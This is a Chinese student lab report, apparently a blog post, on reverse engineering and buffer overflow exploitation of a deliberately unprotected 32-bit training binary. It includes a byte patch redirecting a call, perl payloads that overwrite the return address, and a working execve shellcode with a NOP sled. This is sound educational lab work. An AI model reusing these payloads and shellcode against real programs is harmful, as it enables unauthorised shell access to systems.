20242320 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242320 2025-2026-1 《网络与系统攻防技术》实验一实验报告
实验名称:逆向破解与 BOF(Buffer Overflow)
实验环境:Kali Linux 虚拟机(64 位系统,运行 32 位程序 pwn1;主机名已改为姓名拼音fanxingru),工具:objdump、gdb(含 GEF 插件)、checksec、vi+xxd、perl、xxd、core dump
1. 基础知识
1.1 汇编指令与机器码
一条汇编指令对应一条机器指令
本实验涉及指令的机器码如下:
| 指令 | 机器码 | 说明 |
|---|---|---|
| NOP | 0x90 |
空操作,滑板(sled)填充用,执行到它会顺势滑向后面的指令 |
| JE | 0x74 xx |
相等则跳(短跳转,相对偏移) |
| JNE | 0x75 xx |
不相等则跳(短跳转,相对偏移) |
| JMP | 0xEB xx / 0xE9 xxxxxxxx |
无条件跳转,短跳转与近跳转两种 |
| CMP | 0x38~0x3D 系列 |
比较两个操作数,影响标志位 |
另外
call=0xE8+ 4 字节相对偏移(补码表示)。x86 的 call 是相对寻址,目标地址 = call 指令地址 + 5 + 偏移量,与 ASLR 无关(代码段地址固定)。- x86 采用小端序,多字节数据(如地址
0x0804847d)在内存和文件里低字节在前,写作\x7d\x84\x04\x08。
1.2 反汇编与文本编程器
- 反汇编是汇编的逆过程,把机器码还原成汇编代码。Linux 下用
objdump -d即可,常配合grep -A n "<main>:"只看某个函数。 - 本实验用 vi 这个文本编程器用于修改二进制文件。跟vim差不多。其中,
:%!xxd进入十六进制模式,二进制文件用 vi 直接打开是乱码,先切十六进制模式方便人看。
1.3 ELF 文件与进程内存布局
ELF 是 Linux 的可执行文件格式(Windows 是 PE)。文件中的 .text 段是只读代码,.data/.bss 是全局数据。程序运行时操作系统把它加载进内存,每个进程有独立的虚拟地址空间,32 位非 PIE 程序的代码段一般固定在 0x08048000 附近。
程序运行时内存从低地址到高地址大致是:.text 代码 → .data/.bss 数据 → 堆(向上增长)→ 栈(向下增长)→ 内核空间。
栈帧是函数在栈上的"工作区",保存三类关键数据:局部变量、旧的 EBP(上一个栈帧的位置)、返回地址。CPU 通过三个寄存器配合工作:EIP 指向下一条要执行的指令,ESP 指向栈顶,EBP 指向当前栈帧基址。本次实验的核心就是改EIP。
1.4 BOF 漏洞与 Shellcode
- BOF(Buffer Overflow,缓冲区溢出):程序向栈上的缓冲区写数据时不检查长度(如
gets()),输入超过缓冲区大小后,多余的字节会依次淹没相邻区域,最终覆盖返回地址。函数返回时,ret把被覆盖的值弹入 EIP,程序就跳到了攻击者指定的地址。 - Shellcode:一段让 CPU 直接执行的二进制机器指令(不是汇编文本),通常用来执行
execve("/bin/sh")弹出一个 shell。本实验使用的是经典的 25 字节 shellcode,大致逻辑是:xor eax 后三次 push 在栈上构造字符串//bin/sh及其地址,然后依次设置 execve 的三个参数(ebx=路径、ecx=argv、edx=envp=0),eax 置系统调用号 11,最后int 0x80触发软中断交给内核执行。 - NOP 滑梯:在 shellcode 前填充大量
0x90,只要 EIP 落在滑梯任意位置,都会"滑"进 shellcode,从而提高攻击命中率(因为栈地址可能因启动方式不同而有小幅偏差)。
1.5 常见防护机制
- ASLR(地址空间随机化):随机化栈、堆、共享库的加载地址,让攻击者猜不到缓冲区地址;
- NX(栈不可执行):栈上数据不能当代码跑,shellcode 注入失效;
- Canary(栈保护):在返回地址前放一个随机"金丝雀"值,被覆盖时程序主动崩溃。
本实验的程序是特意编译成"不设防"的(32 位、NX 关闭),用于教学。实验前用 checksec --file=./pwn1 确认:NX disabled、无 Canary、No PIE。
2. 实验内容
实验对象是 32 位 Linux 可执行文件 pwn1。
正常过程是 main 调用 foo,foo 用 gets() 回显输入;
但本程序中还有个的 getShell 函数(内部执行 system("/bin/sh"))。
本次实验目标是想办法运行 getShell,并进一步注入自定义 shellcode。
三个任务:
| 任务 | 方法 | 原理 |
|---|---|---|
| 任务一 | 手工修改可执行文件 | 直接改机器码,把 main 中 call foo 改为 call getShell |
| 任务二 | 利用 BOF 漏洞 | 构造超长输入覆盖返回地址,劫持 EIP 到 getShell |
| 任务三 | 注入自定义 shellcode | 把 shellcode 放进缓冲区,让返回地址指向它 |
3. 实验过程
3.0 实验准备
文件传输:pwn1 最初在 Windows 宿主机上。直接拖拽到 Kali 桌面会出现红色禁止符号,但拖放到终端窗口里可以——此时终端会出现一串临时路径 /var/run/vmblock-fuse/blockdir/xxxx/pwn1。

这是 VMware 拖放功能的临时挂载点,目录随时会消失(第二次拖入的时候,路径就变了),须复制出来:
cp '/var/run/vmblock-fuse/blockdir/xxxx/pwn1' ~/pwn1
cd ~
chmod +x pwn1
./pwn1 # 输入 123 回显 123,验证文件完好

关闭地址随机化并备份:
sudo sysctl -w kernel.randomize_va_space=0 # 输出 kernel.randomize_va_space = 0
cp pwn1 pwn1_20242320

💡 经验:每次拖放文件后都立即
cp到主目录,不要直接在 vmblock-fuse 路径里操作;一劳永逸的办法是 VMware 设置 → 选项 → 共享文件夹,之后从/mnt/hgfs/访问。
反汇编 objdump -d pwn1_20242320 :
反汇编 main 函数 objdump -d pwn1_20242320 | grep -A 20 "<main>:"
其中, call 8048491 <foo>,其机器码为 e8 d7 ff ff ff,位于地址 0x080484b5

反汇编 foo 函数
lea -0x1c(%ebp),%eax 和 call 8048340 <gets@plt>,说明缓冲区在 EBP 下方 0x1c(28)字节处,且使用不检查长度的 gets

反汇编 getShell 函数
其地址为 0x0804847d,内部 movl $0x8048560,(%esp) 后 call 8048350 <system@plt>,参数是字符串 /bin/sh 的地址

反汇编得出的hints:
- foo 地址:
0x08048491 - getShell 地址:
0x0804847d call foo指令:0x080484b5,机器码e8 d7 ff ff ff- foo 的
ret指令:0x080484ae
3.1 任务一:手工修改机器指令,改变程序执行流程
call 是相对跳转,偏移量 = 目标地址 −(指令地址 + 5)。
Q : 为什么是"指令地址 + 5" ?
call 执行时,CPU 要先把返回地址压栈——也就是"call 指令的下一条指令的地址"。这个地址 = call 指令所在地址 + 5(e8 占 1 字节,操作数占 4 字节)。压栈完成后,eip 已经指向"下一条指令"的位置,然后才在此基础上加上偏移量跳转。
原来跳 foo 函数:
0x08048491 − (0x080484b5 + 5) = −0x29 → d7 ff ff ff
要改成跳 getShell 函数:
0x0804847d − (0x080484b5 + 5) = −0x3d → c3 ff ff ff
that is to say:需要把 d7 改成 c3
修改步骤(vi编辑器可真难用):
vi pwn1_20242320
二进制文件直接用 vi 打开是一屏乱码,吓人
-
Esc后输入:%!xxd回车,切换为十六进制模式
![屏幕截图 2026-09-28 114743]()
-
Esc后输入/e8 d7回车(注意 d7 前有空格),再按一次回车确认搜索(差点退不出搜索模式),光标定位到该字节
![屏幕截图 2026-09-28 114001]()
-
方向键把光标移到
d7的d上,按r再按c,把它改成c3
![屏幕截图 2026-09-28 114635]()
⚠️ 十六进制模式下 xxd 把字节两两连写,目标行形如
f0e8 d7ff ffff,要找的是e8 d7这一对(文件偏移 0x4b5 处)。移动光标只能用方向键或 h/j/k/l,按字母键等于下达编辑命令。
Esc后输入:%!xxd -r回车,转回二进制模式:wq保存退出
修改后验证并运行:
objdump -d pwn1_20242320 | grep -A 8 "<main>:"
./pwn1_20242320
修改后的反汇编结果,call 804847d <getShell>

运行

任务一搞定唠
3.2 任务二:利用 foo 的 BOF 漏洞覆盖返回地址
由反汇编可知:缓冲区在 EBP 下方 0x1c = 28 字节处,EBP 本身占 4 字节
故从缓冲区开头到返回地址正好相距 32 字节也就是说,输入 32 字节填充,第 33~36 字节就是要写入的新返回地址。
用 gdb 验证偏移量:
gdb pwn1
(gdb) run
# 程序运行后输入 40 个字符:1111111122222222333333334444444455555555
# 收到 SIGSEGV,查看寄存器
(gdb) info registers eip ebp
gdb 显示$ebp = 0x34343434(正好是第 25~32 字符 "4444",即保存的 EBP 被淹没)、$eip = 0x35353535(正好是第 33~36 字符 "5555",即返回地址被覆盖)。eip 落在第 33~36 字符,偏移量 32 得到实证。
构造攻击输入,getShell 地址 0x0804847d 按小端序写成 \x7d\x84\x04\x08:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20242320
xxd input_20242320 # 检查
用xxd input_20242320查看。xxd:一个把文件内容按十六进制显示的查看工具("hex dump"的惯例叫法,xxd 是 vim 自带的配套工具)
执行攻击:
(cat input_20242320; cat) | ./pwn1
第一个 cat 把攻击文件送进程序的 stdin,第二个无参数的 cat 把键盘输入继续转发给程序——因为攻击成功后弹出的 shell 还需要交互,不加第二个 cat,管道输入结束后 shell 会立即读到 EOF 而退出。
攻击成功,终端出现$提示符,执行whoami(kali)、ls验证 shell 可用。
Q : 一个大大的疑惑,为啥没有
$提示符勒(前面还有一串乱码),但确实是一个shell?
Firstly,乱码是正常回显:foo 里的 puts(buf) 在攻击生效前把输入原样打印了一遍。32 个填充字符正常显示,最后的 7d 84 04 08 四字节不是可打印字符,终端显示为 ◆� 说明 payload 完整到达了缓冲区。
Secondly,没有 $ 是因为 stdin 是管道:(cat input; cat) | ./pwn1 中,dash(/bin/sh)检测到 stdin 不是终端,进入非交互模式也就是说不打印提示符,但仍正常读命令、执行命令。任务一直接运行时有 $,正因为那次 stdin 是终端。
Finally,判断成功的标准是命令有没有被执行(whoami 返回 kali、ls 正常),而不是有没有提示符。想要看到 $,可用 script -q -c "./pwn1" /dev/null 包一层伪终端。
任务二搞定
3.3 任务三:注入自定义 Shellcode 并运行
Q1 :What is shellcode?
Shellcode 就是一段直接被 CPU 执行的二进制机器指令(不是汇编文本,而是汇编翻译好后、能直接执行的原始字节序列)
之所以叫 shellcode,是因为一般被用来执行 execve("/bin/sh") 即给攻击者弹出一个 shell
Q2 :What is inject shellcode ?(Chinglish)
注入shellcode就是把它写进内存里,并让 CPU 去执行它。
Q3 :Where to inject and why i can?(Chinglish)
程序本身的代码编译好了放在 .text 段,注入shellcode的时候并没有将其注入到.text 段。why?对于.text权限为 只读 + 可执行(r-x)(操作系统给它分配的),且没有空余位置
所以,一般往.data/.bss、栈或者堆里面写。本次实验利用gets函数往栈里注入。
为什么可以勒?指令和数据以完全相同的形态(二进制字节)存放在同一个存储器里,CPU 根据 EIP 逐条取指、译码、执行。内存本身不维护"这段是代码、那段是数据"的元信息——同一块内存,EIP 指过去就是指令,mov 读过去就是数据。
Q4 :本任务中shellcode干了what?在栈上拼出 //bin/sh 字符串 → 设置好 execve 的三个参数(路径、argv、envp=0)→ 系统调用号 11 放入 eax → int 0x80 触发软中断交给内核 → 进程变成为 shell。
前置检查:
checksec --file=./pwn1

first try(failed)shellcode 放在返回地址下方,因为自覆写崩了
按常见的"NOP 滑梯 + shellcode + 返回地址"布局构造 payload,返回地址暂用占位符:
perl -e 'print "\x90"x6 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x90" . "\x04\x03\x02\x01" . "\x00"' > input_shellcode_20242320
两个终端配合定位:终端 1 运行 (cat input_shellcode_20242320; cat) | ./pwn1,终端 2 ps aux | grep pwn1 找到 PID 后 gdb -p <PID>,break *0x080484ae(foo 的 ret),c 后回终端 1 按回车触发断点:
(gdb) info registers esp # esp = 0xffffcf6c,指向占位符 0x01020304
(gdb) x/24x $esp-0x28
栈内容可见 0x90909090(滑梯)、0xc0319090(滑梯尾 + shellcode 开头 31 c0)、0x01020304(占位符),推算出 shellcode 起始 = esp − 30 = 0xffffcf52。
于是把返回地址指向滑梯中部 0xffffcf4e,构造 input_shellcode2_20242320 再来

ohno 仍然失败
怎么办?
用 core dump 分析真实现场(Key turning point)
Q : What is core dump ?
Core dump 定位法就是: 让程序在真实环境里崩溃,由操作系统把崩溃瞬间的整个进程内存"拍一张照片"存成文件(core 文件),再用 gdb 打开这张照片做"事后检查"。
ulimit -c unlimited
./pwn1 < input_shellcode2_20242320 # (core dumped),生成 core.65989
gdb ./pwn1 core.65989
(gdb) info registers eip # eip = 0xffffcf62:滑梯和入口都正确,shellcode 执行了一部分
(gdb) x/40x $esp-0x40
core 中的栈:0xffffcf60: 0x00000000、0xffffcf64: 0x6e69622f("/bin")、0xffffcf68: 0x68732f2f("//sh")、0xffffcf6c: 0x00000000(这些就是 shellcode 前 8 条指令 push 上去的 execve 参数)shellcode 确实开始执行了;但对照原字节,cf60 之后的e3 50 53 89(mov ebx,esp 的操作数)、cf64 的e1 31 d2 b0、cf68 的0b cd 80(int 0x80 本体)全被它自己的 push 覆写了。
失败原因分析:ret 执行后 esp = 返回地址槽位 + 4,就在 shellcode 头顶上。shellcode 的 5 次 push 向低地址写(参数区),而 shellcode 尾部距离返回地址只有 1 字节间隔,push 的数据恰好就覆盖了还没执行的后半截。(还曾怀疑是 64 位系统跑 32 位程序的问题。但任务二能成功、core 里 32 位栈布局完整,都证明环境没问题。操作系统兼容性还是很强的啊,64位运行32位程序也可以的)
(重演失败过程的动画见下,果然是图像才更直观。关于动画:博客园的 Markdown 编辑器会剥掉正文里的脚本,但保留样式,所以 JS 不行,只有改成纯CSS版。)
| 0xcf5c | 62 69 6e 89 | bin· | |
| 0xcf60 | e3 50 53 89 | ···· | |
| 0xcf64 | e1 31 d2 b0 | ···· | |
| 0xcf68 | 0b cd 80 90 | ···· | |
| 0xcf6c | 4e cf ff ff | N··· | |
| esp ▶ | 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 62 69 6e 89 | bin· | |
| 0xcf60 | e3 50 53 89 | ···· | |
| 0xcf64 | e1 31 d2 b0 | ···· | |
| 0xcf68 | 0b cd 80 90 | ···· | |
| 0xcf6c | 4e cf ff ff | N··· | |
| esp ▶ | 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 62 69 6e 89 | bin· | |
| 0xcf60 | e3 50 53 89 | ···· | |
| 0xcf64 | e1 31 d2 b0 | ···· | |
| 0xcf68 | 0b cd 80 90 | ···· | |
| esp ▶ | 0xcf6c | 00 00 00 00 | ···· |
| 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 62 69 6e 89 | bin· | |
| 0xcf60 | e3 50 53 89 | ···· | |
| 0xcf64 | e1 31 d2 b0 | ···· | |
| esp ▶ | 0xcf68 | 2f 2f 73 68 | //sh |
| 0xcf6c | 00 00 00 00 | ···· | |
| 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 62 69 6e 89 | bin· | |
| 0xcf60 | e3 50 53 89 | ···· | |
| esp ▶ | 0xcf64 | 2f 62 69 6e | /bin |
| 0xcf68 | 2f 2f 73 68 | //sh | |
| 0xcf6c | 00 00 00 00 | ···· | |
| 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 62 69 6e 89 | bin· | |
| 0xcf60 | e3 50 53 89 | ···· | |
| esp ▶ | 0xcf64 | 2f 62 69 6e | /bin |
| 0xcf68 | 2f 2f 73 68 | //sh | |
| 0xcf6c | 00 00 00 00 | ···· | |
| 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 62 69 6e 89 | bin· | |
| esp ▶ | 0xcf60 | 00 00 00 00 | ···· |
| 0xcf64 | 2f 62 69 6e | /bin | |
| 0xcf68 | 2f 2f 73 68 | //sh | |
| 0xcf6c | 00 00 00 00 | ···· | |
| 0xcf70 | · · · · | ↑ 更高地址 |
| esp ▶ | 0xcf5c | 64 cf 00 00 | d··· |
| 0xcf60 | 00 00 00 00 | ···· | |
| 0xcf64 | 2f 62 69 6e | /bin | |
| 0xcf68 | 2f 2f 73 68 | //sh | |
| 0xcf6c | 00 00 00 00 | ···· | |
| 0xcf70 | · · · · | ↑ 更高地址 |
| 0xcf5c | 64 cf 00 00 | d··· | |
| 0xcf60 | 00 00 00 00 | ···· | |
| 0xcf64 | 2f 62 69 6e | /bin | |
| 0xcf68 | 2f 2f 73 68 | //sh | |
| 0xcf6c | 00 00 00 00 | ···· | |
| 0xcf70 | · · · · | ↑ 更高地址 |
second try(succeed):把 shellcode 放到返回地址上方
改为 anything + retaddr + NOP 滑梯 + shellcode:返回地址指向其上方(更高地址)的滑梯,执行流向上滑到 shellcode;而 push 永远向低地址写,落在返回地址下方的填充区,就不会覆盖 shellcode。
Q1 : What is 滑梯?
"滑梯"是 NOP 滑梯(NOP sled) 的简称,指 shellcode 前面铺设的一大串 0x90(NOP,空操作指令)字节。
Q2 : 为什么需要它?
攻击者填入栈的"返回地址"只是一个猜测值,由于启动方式(管道/重定向)、环境变量等差异,真实栈地址可能有几个到几十个字节的偏差。如果返回地址直接指向 shellcode 的第一字节,偏 1 字节 EIP 就会跳进指令中间,把操作数当成操作码解码,立刻崩溃。所以就用NOP来占位置。CPU 执行到 0x90 时什么都不干,EIP 顺 + 1 走向下一字节。于是只要 EIP 落进滑梯的任意一个位置,接下来就会像坐滑梯一样,一个 NOP 一个 NOP 地"滑"过整段填充区,精准抵达滑梯尽头的 shellcode 首字节。
EIP 落在这里也行 ─┐
▼
... 90 90 90 90 90 90 90 90 │ 31 c0 50 ...(shellcode)
└──── NOP 滑梯 ────────┘ ↑ 无论从哪落下,
都会滑到这里开始执行
core dump 已给出真实 R = 0xffffcf6c(与 gdb attach 结果完全一致,说明本环境栈地址每次运行稳定),据此计算:
- 滑梯起始 = R + 4 =
0xffffcf70(输入的第 36 字节起) - 滑梯取 20 字节(cf70~cf83),返回地址取滑梯中部 0xffffcf7a(小端
\x7a\xcf\xff\xff),即使栈地址有 ±8 字节以内偏差也能滑进 shellcode - shellcode 位于
0xffffcf84起,运行时 5 次 push 全部写在 cf6c 以下,safe
perl -e 'print "11111111222222223333333344444444" . "\x7a\xcf\xff\xff" . "\x90"x20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x00"' > input_shellcode3_20242320
xxd input_shellcode3_20242320 # 确认一下第 32~35 字节为 7a cf ff ff
(cat input_shellcode3_20242320; cat) | ./pwn1
注入成功
congratulations!所有都搞定唠hhh
4. 问题及解决方案
-
问题 1:pwn1 文件从 Windows 传不进 Kali。
直接拖拽到 Kali 桌面出现红色禁止符号;拖放到终端里虽然出现路径,但那是 VMware 的临时挂载点/var/run/vmblock-fuse/blockdir/xxxx/,随时会消失。解决:拖入终端后立刻cp到主目录再操作。后续如需频繁传文件,可配置 VMware 共享文件夹,从/mnt/hgfs/访问。 -
问题 2:vi 修改字节时误操作导致交换文件残留。
改错字节后按Ctrl+Z想"撤销",实际上只是把 vi 挂起(进程仍在后台运行),再次打开文件时 vi 报E325: ATTENTION ... Swap file already exists。解决:先选(Q)uit放弃本次打开,fg把挂起的 vi 唤回前台,:q!正常退出不保存,再rm -f .pwn1_20242320.swp清除残留。教训:vi 里退出用:q(放弃保存用:q!),不要用 Ctrl+Z;二进制视图下只能用方向键/hjkl 移动光标,按字母键等于编辑。 -
问题 3:任务二 gdb 验证时输入被当成 shell 命令。
gdb pwn1_20242320运行后直接弹出$,输入的 40 个测试字符被 shell 执行报not found。原因:任务一改过的文件 main 直接调用 getShell,不再经过 foo 的 gets(掩面哭笑.jpg)。解决:任务二及之后的所有 BOF 实验都改用原始文件pwn1。 -
问题 4:任务三第一次注入失败,且
gdb ./pwn1 core报文件不存在。
失败现象是段错误;core 方面,第一次崩溃后目录里没有名为core的文件。排查发现cat /proc/sys/kernel/core_uses_pid为 1,文件名带进程号后缀,实际文件是core.65989,用全名gdb ./pwn1 core.65989即可。
5. 学习感悟、思考等
1.有 AI 辅助,完成实验、拿到结果不难,难的是真正理解。理解的深入,就正来自一次次提出问题并解决的过程,一言以蔽之,也就是消除模糊的过程。
2.这次实验我们的 shellcode 注入能成功,是因为 pwn1 把 NX、ASLR、Canary 都关了。随着防护措施(NX+ASLR+Canary)的普及这种类型的攻击在 2010 年代差不多就结束了。但只要攻击存在,就会出现针对这些防护的技术(如ROP绕过等)。防攻没有哪一方能一劳永逸。













浙公网安备 33010602011771号